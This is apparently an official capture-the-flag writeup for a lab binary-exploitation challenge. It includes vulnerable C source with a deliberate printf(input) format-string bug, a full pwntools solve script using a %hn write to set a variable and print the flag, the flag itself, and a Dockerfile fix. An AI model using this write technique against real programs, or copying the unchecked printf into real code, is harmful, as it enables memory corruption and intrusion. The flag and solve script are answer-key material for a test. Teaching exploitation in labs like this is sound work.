

Ebony Maw's Persuasion Protocol

MIRAGE 2.0 — Binary Exploitation — Official Writeup

CATEGORY	DIFFICULTY	PORT
Pwn / Binary Exploitation	Easy-Medium (245 pts)	1337/tcp
FILES	VULNERABILITY	STATUS
vault.c (source provided)	Format-string arbitrary write	Solved — deployment bug found and fixed

Challenge Premise

“The vault listens to exactly one message. Ebony Maw doesn't need brute force. He only needs the right words.” Source is provided in full.

Source Analysis

```
volatile unsigned short persuasion __attribute__((aligned(16))) = 0;

int main(void) {
    char input[256];
    ...
    fgets(input, sizeof(input), stdin);
    printf(input);                /* INTENTIONAL FORMAT-STRING VULNERABILITY */
    if (persuasion == MAGIC)      /* MAGIC == 0xc0de */
        grant_access();          /* reads and prints /flag */
}
```

User input is passed directly to `printf` as the format string with no format specifier of its own, so any % directives inside it are interpreted by `printf`. Because `persuasion` is a global variable, its address is a compile-time constant with no ASLR leak required (the binary is built `-no-pie`).

Exploitation — Direct Parameter Access %hn Write

The classic format-string write primitive is used: place the target address as raw bytes inside the input buffer itself, then use `%N$hn` to write a computed 16-bit value to the Nth stack argument that `printf` reads — which, once the input string itself is on the stack, ends up pointing back into our own input buffer. The organizer's own solve script gives the exact recipe:

```
fmt = b'%49374c%11$hn'
payload = fmt.ljust(40, b'A') + p64(persuasion_address)
```

`%49374c` pads output to exactly 49374 characters printed so far (`0xc0de` = 49374 decimal), then `%11$hn` writes the low 16 bits of that running count to the address supplied as the 11th `printf` argument — which, given the 40-byte padding, lands exactly on the 8 address bytes appended after it. The net effect: `persuasion` is set to exactly `0xc0de`.

Participant Solve Steps

```
from pwn import *

elf = context.binary = ELF('./vault', checksec=False)
io = remote('<host>', 1337)

persuasion = elf.symbols['persuasion']
fmt = b'%49374c%11$hn'
payload = fmt.ljust(40, b'A') + p64(persuasion)

io.sendlineafter(b'Persuasion: ', payload)
io.interactive()
```

FLAG

MIRAGE{ebony_maw_format_string_persuasion}

FIX APPLIED: Deployment bug found: the shipped Dockerfile compiles `vault.c` but never creates `/flag` in the image. `grant_access()` falls back to printing the literal string `MIRAGE{flag_file_missing}` when `fopen("/flag", "r")` fails — so the exploit above worked perfectly, but a real deployment would hand every solver that fallback string instead of the real flag.

Fix applied to the Dockerfile in this challenge's zip, immediately after the compile step:
`RUN printf '%s\n' 'MIRAGE{ebony_maw_format_string_persuasion}' > /flag
&& chmod 444 /flag`

Rebuilt and re-tested against the exact exploit above: it now prints the real flag instead of the fallback string.

Verification

Built the (now-fixed) challenge image, ran it as a live TCP service, and drove the exploit over a raw socket exactly as a participant would connect — the service responded “Ebony Maw has convinced the security core... Control transferred.” followed by the real flag.